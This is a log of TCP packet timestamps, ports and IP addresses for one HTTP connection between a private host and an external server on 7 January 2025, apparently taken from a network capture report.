Jan 7, 2025 13:25:35.269798994 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.269828081 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.269903898 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.269911051 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.269922972 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.269967079 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.270049095 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.270055056 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.270066977 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.270071983 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.270077944 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.270095110 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.270098925 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.270100117 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.270117998 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.270140886 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.270164967 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.270172119 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.270184994 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.270190954 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.270198107 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.270209074 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.270221949 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.270239115 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.270258904 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.270263910 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.270279884 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.270306110 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.270329952 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.270337105 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.270340919 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.270344019 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.270368099 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.270375967 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.270381927 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.270416021 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.290924072 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.290932894 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.290951014 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.290982962 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.291017056 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.291023016 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.291183949 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.291189909 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.291209936 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.291215897 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.291228056 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.291229010 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.291260004 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.291270971 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.291276932 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.291289091 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.291325092 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.291342020 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.291348934 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.291440010 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.291496038 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.291502953 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.291513920 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.291518927 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.291531086 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.291538000 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.291548014 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.291549921 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.291557074 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.291583061 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.291635990 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.291642904 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.291649103 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.291655064 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.291672945 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.291678905 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.291690111 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.291690111 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.291697025 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.291703939 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.291712046 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.291714907 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.291722059 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.291728973 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.291760921 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.291857958 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.291863918 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.291888952 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.291897058 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.291920900 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.291939020 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.358633995 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.358644962 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.358726025 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.358897924 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.358903885 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.358916998 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.358923912 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.358931065 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.358942986 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.358951092 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.358953953 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.358989954 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.359030008 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.359036922 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.359044075 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.359050035 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.359056950 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.359081030 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.359107971 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.359186888 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.359194040 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.359205961 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.359213114 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.359219074 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.359231949 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.359246969 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.359273911 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.359302998 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.359311104 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.359375954 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.359406948 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.359452963 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.359461069 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.359503031 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.359528065 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.359535933 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.359555960 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.359596968 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.359625101 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.359632015 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.359643936 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.359664917 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.359664917 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.359690905 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.359698057 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.359709024 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.359714985 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.359736919 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.359740019 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.359761953 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.359781981 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.359781981 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.359791040 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.359798908 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.359810114 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.359846115 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.359889984 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.359896898 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.359909058 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.359941006 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.360042095 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.360049009 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.360061884 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.360068083 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.360107899 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.360109091 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.360115051 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.360125065 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.360126019 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.360135078 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.360140085 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.360168934 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.360188007 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.360193014 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.360207081 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.360256910 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.360375881 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.360383034 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.360389948 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.360433102 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.360433102 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.360446930 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.360454082 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.360460997 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.360486031 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.360515118 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.360572100 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.360579014 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.360584974 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.360589981 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.360596895 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.360603094 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.360615015 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.360641003 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.360708952 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.360716105 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.360764027 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.361099958 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.361105919 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.361119032 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.361124039 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.361129999 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.361135960 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.361150980 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.361162901 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.361169100 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.361171007 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.361186981 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.361208916 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.381535053 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.381561995 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.381576061 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.381588936 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.381603956 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.381611109 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.381618023 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.381623983 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.381629944 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.381630898 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.381637096 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.381649971 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.381658077 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.381673098 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.381705046 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.381714106 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.381736040 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.381748915 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.381787062 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.381820917 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.381827116 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.381876945 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.381879091 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.381885052 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.381901979 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.381918907 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.381930113 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.381942034 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.381959915 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.381989956 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.381995916 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.382004976 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.382029057 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.382122993 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.382129908 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.382142067 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.382158041 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.382174969 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.382180929 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.382183075 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.382189035 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.382203102 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.382231951 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.382323980 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.382332087 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.382344007 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.382376909 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.382385015 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.382385969 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.382391930 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.382414103 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.431134939 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.449599981 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.449610949 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.449625015 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.449661970 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.449779034 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.449794054 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.449806929 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.449812889 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.449819088 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.449832916 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.449839115 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.449841976 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.449845076 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.449857950 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.449867010 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.449894905 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.449934959 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.449942112 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.449949026 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.449954987 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.449960947 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.449989080 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.450006008 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.450064898 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.450072050 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.450088024 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.450093031 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.450112104 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.450128078 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.450131893 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.450195074 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.450203896 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.450203896 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.450227976 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.450234890 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.450241089 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.450242043 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.450268984 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.450304985 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.450315952 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.450344086 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.450357914 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.450364113 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.450370073 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.450390100 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.450401068 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.450427055 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.450442076 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.450450897 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.450486898 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.450504065 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.450511932 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.450522900 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.450571060 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.450591087 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.450593948 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.450602055 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.450608015 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.450647116 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.450659990 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.450665951 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.450678110 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.450710058 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.450762987 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.450769901 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.450786114 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.450808048 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.450884104 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.450891018 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.450902939 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.450908899 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.450916052 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.450941086 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.450948954 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.450957060 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.450985909 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.451009035 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.451009989 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.451015949 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.451030970 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.451061964 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.451256990 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.451263905 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.451277018 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.451282978 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.451288939 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.451294899 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.451303959 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.451325893 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.451327085 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.451332092 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.451350927 CET	49737	80	192.168.2.4	87.120.113.91
